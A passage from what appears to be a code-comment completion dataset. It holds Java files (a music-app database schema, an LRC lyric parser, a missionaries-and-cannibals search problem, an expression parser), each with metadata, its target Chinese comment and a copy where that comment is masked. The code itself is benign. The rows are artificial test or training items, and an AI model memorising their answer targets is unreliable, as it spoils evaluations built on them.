entity.addIdProperty().autoincrement(); // id主键自增
entity.addStringProperty("name"); // 歌曲列表名
entity.addLongProperty("count"); // 包含歌曲数
entity.addIntProperty("seq"); // 排序显示序号
entity.addIntProperty("sortType"); // 排序方式(1:按名称排序,2:按时间排序,3:自定义排序)
entity.addIntProperty("pointer"); // 指针:指向数据库相应表
}
/**
* CustomMusic - 自定义歌曲(创建20张)
*/
private static void addCustomMusics(Schema schema) {
for (int i = 0; i < 20; i++) {
Entity entity = schema.addEntity("CustomMusic" + i); // 表名
addProperty(entity);
}
}
/**
* TransferModel - 传输
*/
private static void addTransferModel(Schema schema) {
Entity entity = schema.addEntity("TransferModel"); // 表名
entity.addStringProperty("transferId").primaryKey(); // 文件完整路径---主键
entity.addIntProperty("transferType");
entity.addIntProperty("transferState");
entity.addLongProperty("transferCurrentLength");
entity.addLongProperty("transferTotalLength");
entity.addStringProperty("id"); // 文件完整路径
entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等
entity.addIntProperty("seq"); // 自定义序号
entity.addStringProperty("songId"); // 歌曲ID
entity.addStringProperty("songName"); // 歌曲名
entity.addStringProperty("songUrl"); // 歌曲url
entity.addStringProperty("artistId"); // 艺术家ID
entity.addStringProperty("artistName"); // 歌手名
entity.addStringProperty("albumId"); // 专辑ID
entity.addStringProperty("albumName"); // 专辑
entity.addStringProperty("albumUrl"); // 专辑url
entity.addStringProperty("lrcName"); // 歌词名称
entity.addStringProperty("lrcUrl"); // 歌词路径
entity.addLongProperty("fileDuration"); // 歌曲时长
entity.addLongProperty("fileSize"); // 文件大小
entity.addStringProperty("filePostfix"); // 文件后缀类型
entity.addStringProperty("fileFolder"); // 父文 <SUF>
entity.addBooleanProperty("isCollected"); // 是否收藏
entity.addLongProperty("timeStamp"); // 时间戳,插入时间
}
/**
* 添加公共字段
*/
private static void addProperty(Entity entity) {
entity.addStringProperty("id").primaryKey(); // 文件完整路径---主键
entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等
entity.addIntProperty("seq"); // 自定义序号
entity.addStringProperty("songId"); // 歌曲ID
entity.addStringProperty("songName"); // 歌曲名
entity.addStringProperty("songUrl"); // 歌曲url
entity.addStringProperty("artistId"); // 艺术家ID
entity.addStringProperty("artistName"); // 歌手名
entity.addStringProperty("albumId"); // 专辑ID
entity.addStringProperty("albumName"); // 专辑
entity.addStringProperty("albumUrl"); // 专辑url
entity.addStringProperty("lrcName"); // 歌词名称
entity.addStringProperty("lrcUrl"); // 歌词路径
entity.addLongProperty("fileDuration"); // 歌曲时长
entity.addLongProperty("fileSize"); // 文件大小
entity.addStringProperty("filePostfix"); // 文件后缀类型
entity.addStringProperty("fileFolder"); // 父文件夹绝对路径
entity.addBooleanProperty("isCollected"); // 是否收藏
entity.addLongProperty("timeStamp"); // 时间戳,插入时间
}
}
| 1 | 11 | 1 |
45385_1 | package com.d.lib.ui.view.lrc;
import android.support.annotation.NonNull;
import android.text.TextUtils;
import com.d.lib.common.util.log.ULog;
import java.util.ArrayList;
import java.util.List;
/**
* LrcRow
* Edited by D on 2017/5/16.
*/
public class LrcRow implements Comparable<LrcRow> {
/**
* 开始时间 为00:10:00
*/
private String timeStr;
/**
* 开始时间 毫米数 00:10:00 为10000
*/
private int time;
/**
* 歌词内容
*/
private String content;
/**
* 该行歌词显示的总时间
*/
private int totalTime;
public LrcRow() {
super();
}
public LrcRow(String timeStr, int time, String content) {
super();
this.timeStr = timeStr;
this.time = time;
this.content = content;
}
/**
* 将歌词文件中的某一行 解析成一个List<LrcRow>
* 因为一行中可能包含了多个LrcRow对象
* 比如 [03:33.02][00:36.37]当鸽子不再象征和平 ,就包含了2个对象
*/
public static List<LrcRow> createRows(String lrcLine) {
if (lrcLine == null || !lrcLine.startsWith("[") || lrcLine.indexOf("]") != 9) {
return null;
}
// 最后一个"]"
int lastIndexOfRightBracket = lrcLine.lastIndexOf("]");
// 歌词内容
String content = lrcLine.substring(lastIndexOfRightBracket + 1, lrcLine.length());
// 截取出歌词时间,并将"[" 和"]" 替换为"-" [offset:0]
ULog.d("lrcLine=" + lrcLine);
// -03:33.02--00:36.37-
String times = lrcLine.substring(0, lastIndexOfRightBracket + 1).replace("[", "-").replace("]", "-");
String[] timesArray = times.split("-");
List<LrcRow> lrcRows = new ArrayList<>();
for (String tem : timesArray) {
if (TextUtils.isEmpty(tem.trim())) {
continue;
}
try {
LrcRow lrcRow = new LrcRow(tem, formatTime(tem), content);
lrcRows.add(lrcRow);
} catch (Exception e) {
ULog.d("LrcRow" + e.getMessage());
}
}
return lrcRows;
}
/**
* 把歌词时间转换为毫秒值 如 将00:10.00 转为10000
*/
private static int formatTime(String timeStr) {
timeStr = timeStr.replace('.', ':');
String[] times = timeStr.split(":");
return Integer.parseInt(times[0]) * 60 * 1000
+ Integer.parseInt(times[1]) * 1000
+ Integer.parseInt(times[2]);
}
public String getTimeStr() {
return timeStr;
}
public void setTimeStr(String timeStr) {
this.timeStr = timeStr;
}
public int getTime() {
return time;
}
public void setTime(int time) {
this.time = time;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public int getTotalTime() {
return totalTime;
}
public void setTotalTime(int totalTime) {
this.totalTime = totalTime;
}
@Override
public int compareTo(@NonNull LrcRow anotherLrcRow) {
return this.time - anotherLrcRow.time;
}
@Override
public String toString() {
return "LrcRow [timeStr=" + timeStr + ", time=" + time + ", content=" + content + "]";
}
} | Dsiner/UIUtil | lib_view/src/main/java/com/d/lib/ui/view/lrc/LrcRow.java | 995 | /**
* 开始时间 为00:10:00
*/ | block_comment | zh-cn | package com.d.lib.ui.view.lrc;
import android.support.annotation.NonNull;
import android.text.TextUtils;
import com.d.lib.common.util.log.ULog;
import java.util.ArrayList;
import java.util.List;
/**
* LrcRow
* Edited by D on 2017/5/16.
*/
public class LrcRow implements Comparable<LrcRow> {
/**
* 开始时 <SUF>*/
private String timeStr;
/**
* 开始时间 毫米数 00:10:00 为10000
*/
private int time;
/**
* 歌词内容
*/
private String content;
/**
* 该行歌词显示的总时间
*/
private int totalTime;
public LrcRow() {
super();
}
public LrcRow(String timeStr, int time, String content) {
super();
this.timeStr = timeStr;
this.time = time;
this.content = content;
}
/**
* 将歌词文件中的某一行 解析成一个List<LrcRow>
* 因为一行中可能包含了多个LrcRow对象
* 比如 [03:33.02][00:36.37]当鸽子不再象征和平 ,就包含了2个对象
*/
public static List<LrcRow> createRows(String lrcLine) {
if (lrcLine == null || !lrcLine.startsWith("[") || lrcLine.indexOf("]") != 9) {
return null;
}
// 最后一个"]"
int lastIndexOfRightBracket = lrcLine.lastIndexOf("]");
// 歌词内容
String content = lrcLine.substring(lastIndexOfRightBracket + 1, lrcLine.length());
// 截取出歌词时间,并将"[" 和"]" 替换为"-" [offset:0]
ULog.d("lrcLine=" + lrcLine);
// -03:33.02--00:36.37-
String times = lrcLine.substring(0, lastIndexOfRightBracket + 1).replace("[", "-").replace("]", "-");
String[] timesArray = times.split("-");
List<LrcRow> lrcRows = new ArrayList<>();
for (String tem : timesArray) {
if (TextUtils.isEmpty(tem.trim())) {
continue;
}
try {
LrcRow lrcRow = new LrcRow(tem, formatTime(tem), content);
lrcRows.add(lrcRow);
} catch (Exception e) {
ULog.d("LrcRow" + e.getMessage());
}
}
return lrcRows;
}
/**
* 把歌词时间转换为毫秒值 如 将00:10.00 转为10000
*/
private static int formatTime(String timeStr) {
timeStr = timeStr.replace('.', ':');
String[] times = timeStr.split(":");
return Integer.parseInt(times[0]) * 60 * 1000
+ Integer.parseInt(times[1]) * 1000
+ Integer.parseInt(times[2]);
}
public String getTimeStr() {
return timeStr;
}
public void setTimeStr(String timeStr) {
this.timeStr = timeStr;
}
public int getTime() {
return time;
}
public void setTime(int time) {
this.time = time;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public int getTotalTime() {
return totalTime;
}
public void setTotalTime(int totalTime) {
this.totalTime = totalTime;
}
@Override
public int compareTo(@NonNull LrcRow anotherLrcRow) {
return this.time - anotherLrcRow.time;
}
@Override
public String toString() {
return "LrcRow [timeStr=" + timeStr + ", time=" + time + ", content=" + content + "]";
}
} | 0 | 33 | 0 |
64189_9 | package xu.problem.mc;
import java.util.ArrayList;
import core.problem.Action;
import core.problem.Problem;
import core.problem.State;
public class McProblem extends Problem {
@Override
public State result(State parent, Action action) {
int m = ((McState) parent).getM();
int c = ((McState) parent).getC();
int m1 = ((McAction) action).getM();
int c1 = ((McAction) action).getC();
int d = ((McAction) action).getD();
if (d == 1) { //从左岸划到右岸
return new McState(m - m1, c - c1, 0).setSize(size); //左岸人数减少,船到了右岸
}
else { //从右岸划到左岸
return new McState(m + m1, c + c1, 1).setSize(size); //左岸人数增多,船到了左岸
}
}
@Override
public int stepCost(State parent, Action action) {
// TODO Auto-generated method stub
return 1;
}
@Override
public int heuristic(State state) {
// TODO Auto-generated method stub
McState s = (McState) state;
return s.heuristic();
}
//左右岸,船上的任意情况下,传教士野人个数分别为m和c时,是否安全
private boolean isSafe(int m, int c) {
return m == 0 || m >= c;
}
@Override
public ArrayList<Action> Actions(State state) {
// TODO Auto-generated method stub
ArrayList<Action> actions = new ArrayList<>();
int m = ((McState) state).getM();
int c = ((McState) state).getC();
int b = ((McState) state).getB(); //在左岸还是右岸?
//如果船在右岸,计算出右岸的人数
if (b == 0) {
m = size - m;
c = size - c;
}
for (int i = 0; i <= m; i++)
for (int j = 0; j <= c; j++) {
if (i + j > 0 && i + j <= k && isSafe(i, j) &&
isSafe(m - i, c - j) &&
isSafe(size - m + i, size - c + j))
{
McAction action = new McAction(i, j, b); //划船方向,从所在岸划向对岸
actions.add(action);
}
}
return actions;
}
//帮助自己检查是否正确的复写了父类中已有的方法
//告诉读代码的人,这是一个复写的方法
@Override
public void drawWorld() {
// TODO Auto-generated method stub
this.getInitialState().draw();
}
@Override
public void simulateResult(State parent, Action action) {
// TODO Auto-generated method stub
State child = result(parent, action);
action.draw();
child.draw();
}
public McProblem(McState initialState, McState goal, int size, int k) {
super(initialState, goal);
this.size = size;
this.k = k;
}
public McProblem(int size, int k) {
super(new McState(size, size, 1).setSize(size), new McState(0, 0, 0).setSize(size));
this.size = size;
this.k = k;
}
private int size; //传教士和野人的个数,问题的规模
private int k; //船上可载人数的上限
@Override
public boolean solvable() {
// TODO Auto-generated method stub
return true;
}
}
| Du-Sen-Lin/AI | Searching_student/src/xu/problem/mc/McProblem.java | 984 | //如果船在右岸,计算出右岸的人数 | line_comment | zh-cn | package xu.problem.mc;
import java.util.ArrayList;
import core.problem.Action;
import core.problem.Problem;
import core.problem.State;
public class McProblem extends Problem {
@Override
public State result(State parent, Action action) {
int m = ((McState) parent).getM();
int c = ((McState) parent).getC();
int m1 = ((McAction) action).getM();
int c1 = ((McAction) action).getC();
int d = ((McAction) action).getD();
if (d == 1) { //从左岸划到右岸
return new McState(m - m1, c - c1, 0).setSize(size); //左岸人数减少,船到了右岸
}
else { //从右岸划到左岸
return new McState(m + m1, c + c1, 1).setSize(size); //左岸人数增多,船到了左岸
}
}
@Override
public int stepCost(State parent, Action action) {
// TODO Auto-generated method stub
return 1;
}
@Override
public int heuristic(State state) {
// TODO Auto-generated method stub
McState s = (McState) state;
return s.heuristic();
}
//左右岸,船上的任意情况下,传教士野人个数分别为m和c时,是否安全
private boolean isSafe(int m, int c) {
return m == 0 || m >= c;
}
@Override
public ArrayList<Action> Actions(State state) {
// TODO Auto-generated method stub
ArrayList<Action> actions = new ArrayList<>();
int m = ((McState) state).getM();
int c = ((McState) state).getC();
int b = ((McState) state).getB(); //在左岸还是右岸?
//如果 <SUF>
if (b == 0) {
m = size - m;
c = size - c;
}
for (int i = 0; i <= m; i++)
for (int j = 0; j <= c; j++) {
if (i + j > 0 && i + j <= k && isSafe(i, j) &&
isSafe(m - i, c - j) &&
isSafe(size - m + i, size - c + j))
{
McAction action = new McAction(i, j, b); //划船方向,从所在岸划向对岸
actions.add(action);
}
}
return actions;
}
//帮助自己检查是否正确的复写了父类中已有的方法
//告诉读代码的人,这是一个复写的方法
@Override
public void drawWorld() {
// TODO Auto-generated method stub
this.getInitialState().draw();
}
@Override
public void simulateResult(State parent, Action action) {
// TODO Auto-generated method stub
State child = result(parent, action);
action.draw();
child.draw();
}
public McProblem(McState initialState, McState goal, int size, int k) {
super(initialState, goal);
this.size = size;
this.k = k;
}
public McProblem(int size, int k) {
super(new McState(size, size, 1).setSize(size), new McState(0, 0, 0).setSize(size));
this.size = size;
this.k = k;
}
private int size; //传教士和野人的个数,问题的规模
private int k; //船上可载人数的上限
@Override
public boolean solvable() {
// TODO Auto-generated method stub
return true;
}
}
| 1 | 17 | 1 |
54903_22 | package com.af.expression;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import java.util.Queue;
import java.util.Stack;
public class Program {
// 源程序
public String Source;
// Token队列,用于回退
private Queue<Token> _tokens = new LinkedList<Token>();
// 当前获取到的字符位置
private int pos;
// 当前是否在字符串处理环节
private boolean inString;
// 字符串处理环节堆栈,$进入字符串处理环节,“{}”中间部分脱离字符串处理环节
private Stack<Boolean> inStrings = new Stack<Boolean>();
public Program(String source) {
String str = source.replaceAll("//[^\n]*", "");
this.Source = str;
}
// 调用解析过程
public Delegate parse() {
Expression result = CommaExp();
Delegate delegate = result.Compile();
return delegate;
}
// 逗号表达式=赋值表达式(,赋值表达式)*
private Expression CommaExp() {
List<Expression> exps = new ArrayList<Expression>();
Expression first = AssignExp();
exps.add(first);
Token t = GetToken();
// 没有结束
while (t.Type == TokenType.Oper && t.Value.equals(",")) {
Expression r = AssignExp();
exps.add(r);
t = GetToken();
}
this._tokens.offer(t);
Expression result = Expression.Comma(exps, Source, pos);
return result;
}
// 赋值表达式=对象属性=一般表达式|一般表达式
private Expression AssignExp() {
Token t = GetToken();
// 把第一个Token的位置记录下来,方便后面回退
int firstPos = t.StartPos;
if (t.Type != TokenType.Identy) {
this.pos = firstPos;
this._tokens.clear();
this.inString = false;
return Exp();
}
Expression objExp = Expression.Identy((String) t.Value, Source, pos);
objExp = ObjectPath(objExp);
// 只能给对象属性或者变量赋值
if (objExp.type != ExpressionType.Property
&& objExp.type != ExpressionType.Identy) {
this.pos = firstPos;
this._tokens.clear();
this.inString = false;
return Exp();
}
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals("=")) {
this.pos = firstPos;
this._tokens.clear();
this.inString = false;
return Exp();
}
Expression exp = Exp();
// 如果是属性赋值
if (objExp.type == ExpressionType.Property) {
// 从属性Expression中获取对象及属性名
String name = (String) objExp.value;
objExp = objExp.children.get(0);
Expression assign = Expression.Assign(objExp, exp, name, Source,
pos);
return assign;
} else if (objExp.type == ExpressionType.Identy) {
// 变量赋值
Expression assign = Expression.Assign(null, exp,
objExp.value.toString(), Source, pos);
return assign;
}
throw new RuntimeException(GetExceptionMessage("只能给属性或者变量赋值!"));
}
// 表达式=条件:结果(,条件:结果)(,结果)?|结果
// 条件=单个结果
private Expression Exp() {
Expression v = Logic();
// 是':',表示条件,否则直接返回单结果
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals(":")) {
// 第一项转换
Expression result = Logic();
// 下一个是",",继续读取下一个条件结果串,由于是右结合,只能采用递归
t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals(",")) {
// 第二项转换
Expression sExp = Exp();
// 返回
return Expression.Condition(v, result, sExp, Source, pos);
} else {
throw new RuntimeException(GetExceptionMessage("必须有默认值!"));
}
} else {
_tokens.offer(t);
return v;
}
}
// 单个结果项=逻辑运算 (and|or 逻辑运算)* | !表达式
private Expression Logic() {
Token t = GetToken();
// !表达式
if (t.Type == TokenType.Oper && t.Value.equals("!")) {
Expression exp = Logic();
exp = Expression.Not(exp, Source, pos);
return exp;
}
_tokens.offer(t);
Expression v = Compare();
t = GetToken();
while (t.Type == TokenType.Oper
&& (t.Value.equals("&&") || t.Value.equals("||"))) {
// 第二项转换
Expression exp = Logic();
// 执行
if (t.Value.equals("&&")) {
v = Expression.And(v, exp, Source, pos);
} else {
v = Expression.Or(v, exp, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return v;
}
// 逻辑运算=数字表达式 (比较运算符 数字表达式)?
private Expression Compare() {
Expression left = Math();
Token t = GetToken();
if (t.Type == TokenType.Oper
&& (t.Value.equals(">") || t.Value.equals(">=")
|| t.Value.equals("<") || t.Value.equals("<="))) {
Expression rExp = Math();
if (t.Value.equals(">"))
return Expression.GreaterThan(left, rExp, Source, pos);
if (t.Value.equals(">="))
return Expression.GreaterThanOrEqual(left, rExp, Source, pos);
if (t.Value.equals("<"))
return Expression.LessThan(left, rExp, Source, pos);
if (t.Value.equals("<="))
return Expression.LessThanOrEqual(left, rExp, Source, pos);
} else if (t.Type == TokenType.Oper
&& (t.Value.equals("==") || t.Value.equals("!="))) {
Expression rExp = Math();
// 相等比较
if (t.Value.equals("==")) {
return Expression.Equal(left, rExp, Source, pos);
}
if (t.Value.equals("!=")) {
return Expression.NotEqual(left, rExp, Source, pos);
}
}
// 返回当个表达式结果
_tokens.offer(t);
return left;
}
// 单个结果项=乘除项 (+|-) 乘除项
private Expression Math() {
Expression v = Mul();
Token t = GetToken();
while (t.Type == TokenType.Oper
&& (t.Value.equals("+") || t.Value.equals("-"))) {
// 转换操作数2为数字
Expression r = Mul();
// 开始运算
if (t.Value.equals("+")) {
v = Expression.Add(v, r, Source, pos);
} else {
v = Expression.Subtract(v, r, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return v;
}
// 乘除项=项 (*|/ 项)
private Expression Mul() {
Expression v = UnarySub();
Token t = GetToken();
while (t.Type == TokenType.Oper
&& (t.Value.equals("*") || t.Value.equals("/") || t.Value
.equals("%"))) {
// 转换第二个为数字型
Expression r = UnarySub();
// 开始运算
if (t.Value.equals("*")) {
v = Expression.Multiply(v, r, Source, pos);
} else if (t.Value.equals("/")) {
v = Expression.Divide(v, r, Source, pos);
} else {
v = Expression.Modulo(v, r, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return v;
}
// 单目运算符
private Expression UnarySub() {
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals("-")) {
Expression r = Item();
return Expression.Subtract(Expression.Constant(0, Source, pos), r,
Source, pos);
}
_tokens.offer(t);
return Item();
}
// 项=对象(.对象路径)*
private Expression Item() {
StringBuilder objName = new StringBuilder();
// 获取对象表达式
Expression objExp = ItemHead(objName);
// 获取对象路径表达式
objExp = ObjectPath(objExp);
return objExp;
}
// 对象=(表达式)|常数|标识符|绑定序列|字符串拼接序列,
// 对象解析过程中,如果是标识符,则要返回找到的对象
private Expression ItemHead(StringBuilder name) {
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals("(")) {
Expression result = CommaExp();
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(")")) {
throw new RuntimeException(GetExceptionMessage("括号不匹配"));
}
return result;
} else if (t.Type == TokenType.Oper && t.Value.equals("{")) {
// json对象
return Json();
} else if (t.Type == TokenType.Oper && t.Value.equals("$")) {
// 字符串拼接序列
Expression strExp = StringUnion();
return strExp;
} else if (t.Type == TokenType.Int || t.Type == TokenType.Double
|| t.Type == TokenType.Bool) {
return Expression.Constant(t.Value, Source, pos);
} else if (t.Type == TokenType.Identy) {
String objName = (String) t.Value;
// 把对象名返回
name.append(objName);
// 对象名处理
return ObjectName(objName);
} else if (t.Type == TokenType.Null) {
return Expression.Constant(null, Source, pos);
}
throw new RuntimeException(GetExceptionMessage("单词类型错误," + t));
}
// JSON对象::={}|{属性名:属性值,属性名:属性值}
private Expression Json() {
List<Expression> children = new LinkedList<Expression>();
Token t = GetToken();
// 空对象,直接返回
if (t.Type == TokenType.Oper && t.Value.equals("}")) {
return Expression.Json(children, Source, pos);
}
_tokens.offer(t);
children.add(Attr());
t = GetToken();
// 如果是"," 继续看下一个属性
while (t.Type == TokenType.Oper && t.Value.equals(",")) {
children.add(Attr());
t = GetToken();
}
if (t.Type != TokenType.Oper || !t.Value.equals("}")) {
throw new RuntimeException(GetExceptionMessage("必须是'}'"));
}
return Expression.Json(children, Source, pos);
}
// 属性值对::=属性名: 属性值
private Expression Attr() {
Token name = GetToken();
if (name.Type != TokenType.Identy) {
throw new RuntimeException(GetExceptionMessage("JSON对象必须是属性名"));
}
Token t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(":")) {
throw new RuntimeException(GetExceptionMessage("必须是':'"));
}
Expression exp = Exp();
return Expression.Attr(name.Value.toString(), exp, Source, pos);
}
// 对字符串拼接序列进行解析
private Expression StringUnion() {
// 字符串连接方法
Expression exp = Expression.Constant("", Source, pos);
Token t = GetToken();
// 是对象序列
while ((t.Type == TokenType.Oper && t.Value.equals("{"))
|| t.Type == TokenType.String) {
// 字符串,返回字符串连接结果
if (t.Type == TokenType.String) {
exp = Expression.Concat(exp,
Expression.Constant(t.Value, Source, pos), Source, pos);
} else {
// 按表达式调用{}里面的内容
Expression objExp = Exp();
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals("}")) {
throw new RuntimeException(GetExceptionMessage("缺少'}'"));
}
// 字符串连接
exp = Expression.Concat(exp, objExp, Source, pos);
}
t = GetToken();
}
_tokens.offer(t);
return exp;
}
// 根据名称获取对象以及对象表达式
private Expression ObjectName(String objName) {
Expression objExp = Expression.Identy(objName, Source, pos);
return objExp;
}
private Expression ObjectPath(Expression inExp) {
// 调用条件过滤解析,转换出条件过滤结果
Expression objExp = ArrayIndex(inExp);
Token t = GetToken();
while (t.Type == TokenType.Oper && t.Value.equals(".")) {
// 获取对象成员
Token nameToken = GetToken();
// 继续看是否方法调用,如果是方法调用,执行方法调用过程
Token n = GetToken();
if (n.Type == TokenType.Oper && n.Value.equals("(")) {
String name = (String) nameToken.Value;
// each方法当循环使用
if(name.equals("each")) {
objExp = For(name, objExp);
} else {
objExp = MethodCall(name, objExp);
}
} else {
_tokens.offer(n);
// 取属性
String pi = (String) nameToken.Value;
objExp = Expression.Property(objExp, pi, Source, pos);
// 调用条件过滤解析,产生条件过滤结果
objExp = ArrayIndex(objExp);
}
t = GetToken();
}
_tokens.offer(t);
return objExp;
}
// 数组下标=属性名([条件])?
private Expression ArrayIndex(Expression objExp) {
Token n = GetToken();
// 是数组下标
if (n.Type == TokenType.Oper && n.Value.equals("[")) {
Expression exp = Exp();
// 读掉']'
n = GetToken();
if (n.Type != TokenType.Oper || !n.Value.equals("]")) {
throw new RuntimeException(GetExceptionMessage("缺少']'"));
}
// 产生数组下标节点
Expression result = Expression.ArrayIndex(objExp, exp, Source, pos);
return result;
}
_tokens.offer(n);
return objExp;
}
// For循环
private Expression For(String name, Expression obj) {
// 产生完整的逗号表达式
Expression exp = this.CommaExp();
Token t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(")")) {
throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配"));
}
Expression result = Expression.For(obj, exp, Source, pos);
return result;
}
// 函数调用
private Expression MethodCall(String name, Expression obj) {
// 如果是")",调用无参函数处理
Token t = GetToken();
if (t.Type == TokenType.Oper && t.Value.equals(")")) {
List<Expression> ps = new ArrayList<Expression>();
Expression result = Expression.Call(obj, name, ps, Source, pos);
return result;
}
_tokens.offer(t);
List<Expression> ps = Params();
t = GetToken();
if (t.Type != TokenType.Oper || !t.Value.equals(")")) {
throw new RuntimeException(GetExceptionMessage("函数调用括号不匹配"));
}
Expression result = Expression.Call(obj, name, ps, Source, pos);
return result;
}
// 函数参数列表
private List<Expression> Params() {
List<Expression> ps = new ArrayList<Expression>();
Expression exp = Exp();
// 如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。
procParam(ps, exp);
Token t = GetToken();
while (t.Type == TokenType.Oper && t.Value.equals(",")) {
exp = Exp();
procParam(ps, exp);
t = GetToken();
}
_tokens.offer(t);
return ps;
}
// 处理参数,如果exp中含有data对象,说明是集合处理函数中每一项值,要当做Delegate处理。
private void procParam(List<Expression> ps, Expression exp) {
Delegate delegate = exp.Compile();
if (delegate.objectNames.containsKey("data")) {
ps.add(Expression.Constant(delegate, Source, pos));
} else {
ps.add(exp);
}
}
// 获取异常信息输出
private String GetExceptionMessage(String msg) {
// 对出错的语句位置进行处理
String result = Source.substring(0, pos) + " <- "
+ Source.substring(pos, Source.length());
return msg + ", " + result;
}
// 获取单词
public Token GetToken() {
// 如果队列里有,直接取上次保存的
if (_tokens.size() != 0) {
Token result = _tokens.poll();
return result;
}
// 记录单词的起始位置,包括空格等内容
int sPos = pos;
// 如果直接是'{',保存上一个状态,当前状态改为非字符状态
if (pos < Source.length() && Source.charAt(pos) == '{') {
inStrings.push(inString);
inString = false;
// 返回'{'单词
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
}
// 如果是字符串处理状态,把除过特殊字符的所有字符全部给字符串
if (inString) {
int startPos = pos;
// 在特殊情况下,字符串要使用$结束
while (pos < Source.length() && Source.charAt(pos) != '{'
&& Source.charAt(pos) != '$' && Source.charAt(pos) != '}') {
pos++;
}
// 不是'{',退出字符串处理环节,回到上一环节。'{'会在下次进入时,保存当前状态
if (!(pos < Source.length() && Source.charAt(pos) == '{')) {
inString = inStrings.pop();
}
Token t = new Token(TokenType.String, Source.substring(startPos,
pos), sPos);
// 如果是采用$让字符串结束了,要把$读去
if (pos < Source.length() && Source.charAt(pos) == '$')
pos++;
return t;
}
// 读去所有空白以及注释
while (
// 普通空白
(pos < Source.length() && (Source.charAt(pos) == ' '
|| Source.charAt(pos) == '\n' || Source.charAt(pos) == '\t'))
||
// 是注释
(pos < Source.length() - 2 && Source.charAt(pos) == '/' && Source
.charAt(pos + 1) == '/')) {
// 普通空白
if (pos < Source.length()
&& (Source.charAt(pos) == ' ' || Source.charAt(pos) == '\n' || Source
.charAt(pos) == '\t')) {
pos++;
} else {
// 注释
pos += 2;
while (pos < Source.length() && Source.charAt(pos) != '\n') {
pos++;
}
// 读掉行尾
pos++;
}
}
// 如果完了,返回结束
if (pos == Source.length()) {
return new Token(TokenType.End, null, sPos);
}
// 如果是数字,循环获取直到非数字为止
if (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') {
int oldPos = pos;
while (pos < Source.length() && Source.charAt(pos) >= '0'
&& Source.charAt(pos) <= '9') {
pos++;
}
// 如果后面是".",按double数字对待,否则按整形数返回
if (pos < Source.length() && Source.charAt(pos) == '.') {
pos++;
while (pos < Source.length() && Source.charAt(pos) >= '0'
&& Source.charAt(pos) <= '9') {
pos++;
}
String str = Source.substring(oldPos, pos);
return new Token(TokenType.Double, new BigDecimal(str),
sPos);
} else {
String str = Source.substring(oldPos, pos);
return new Token(TokenType.Int, Integer.parseInt(str), sPos);
}
}
// 如果是字符,按标识符对待
else if ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z')
|| (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z')
|| Source.charAt(pos) == '_') {
int oldPos = pos;
while (pos < Source.length()
&& ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z')
|| (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z')
|| (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') || Source
.charAt(pos) == '_')) {
pos++;
}
String str = Source.substring(oldPos, pos);
// 是bool常量
if (str.equals("false") || str.equals("true")) {
return new Token(TokenType.Bool, Boolean.parseBoolean(str),
sPos);
}
if (str == "null") {
return new Token(TokenType.Null, null, sPos);
}
return new Token(TokenType.Identy, str, sPos);
}
// && 及 ||
else if ((Source.charAt(pos) == '&' && Source.charAt(pos + 1) == '&')
|| (Source.charAt(pos) == '|' && Source.charAt(pos + 1) == '|')) {
String str = Source.substring(pos, pos + 2);
pos += 2;
return new Token(TokenType.Oper, str, sPos);
}
// +、-、*、/、>、<、!等后面可以带=的处理
else if (Source.charAt(pos) == '+' || Source.charAt(pos) == '-'
|| Source.charAt(pos) == '*' || Source.charAt(pos) == '/'
|| Source.charAt(pos) == '%' || Source.charAt(pos) == '>'
|| Source.charAt(pos) == '<' || Source.charAt(pos) == '!') {
// 后面继续是'=',返回双操作符,否则,返回单操作符
if (pos < Source.length() && Source.charAt(pos + 1) == '=') {
String str = Source.substring(pos, pos + 2);
pos += 2;
return new Token(TokenType.Oper, str, sPos);
} else {
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
}
}
// =号开始有三种,=本身,==,=>
else if (Source.charAt(pos) == '=') {
if (pos < Source.length()
&& (Source.charAt(pos + 1) == '=' || Source.charAt(pos + 1) == '>')) {
String str = Source.substring(pos, pos + 2);
pos += 2;
return new Token(TokenType.Oper, str, sPos);
} else {
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
}
}
// 单个操作符
else if (Source.charAt(pos) == '(' || Source.charAt(pos) == ')'
|| Source.charAt(pos) == ',' || Source.charAt(pos) == ';'
|| Source.charAt(pos) == '.' || Source.charAt(pos) == ':'
|| Source.charAt(pos) == '@' || Source.charAt(pos) == '$'
|| Source.charAt(pos) == '{' || Source.charAt(pos) == '}'
|| Source.charAt(pos) == '[' || Source.charAt(pos) == ']') {
// 进入字符串处理环节,保留原来状态
if (Source.charAt(pos) == '$') {
inStrings.push(inString);
inString = true;
}
// 碰到'{',保存当前模式
if (Source.charAt(pos) == '{' && inStrings.size() != 0) {
inStrings.push(inString);
inString = false;
}
// 碰到'}',返回前面模式。
if (Source.charAt(pos) == '}' && inStrings.size() != 0) {
inString = inStrings.pop();
}
String str = Source.substring(pos, pos + 1);
pos += 1;
return new Token(TokenType.Oper, str, sPos);
} else {
throw new RuntimeException(GetExceptionMessage("无效单词:"
+ Source.charAt(pos)));
}
}
}
